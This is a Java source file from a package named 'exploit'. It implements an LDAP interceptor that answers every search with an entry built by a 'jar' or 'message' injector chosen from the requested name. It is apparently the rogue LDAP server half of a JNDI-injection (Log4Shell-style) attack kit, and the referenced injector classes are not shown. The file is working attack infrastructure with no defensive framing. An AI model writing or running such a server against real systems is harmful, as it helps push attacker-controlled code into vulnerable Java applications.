package me.func.exploit;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import me.func.exploit.behavior.Injector;
import me.func.exploit.behavior.JarInjector;
import me.func.exploit.behavior.MessageInjector;

import java.util.Locale;

public class Interceptor extends InMemoryOperationInterceptor {

	@Override
	public void processSearchResult(InMemoryInterceptedSearchResult result) {
		try {

			String baseDn = result.getRequest().getBaseDN();

			Entry entry = new Entry(baseDn);
			Injectors.find(baseDn).send(result, entry);

			result.sendSearchEntry(entry);
			result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

		} catch (Exception ex) {
			ex.printStackTrace();
		}
	}

}

enum Injectors {

	JAR(new JarInjector()),
	MESSAGE(new MessageInjector());

	private final Injector injector;

	Injectors(Injector injector) {
		this.injector = injector;
	}

	public static Injector find(String key) {
		try {
			return Injectors.valueOf(key.toUpperCase(Locale.ROOT)).injector;
		} catch (Exception exception) {
			return Injectors.MESSAGE.injector;
		}
	}
}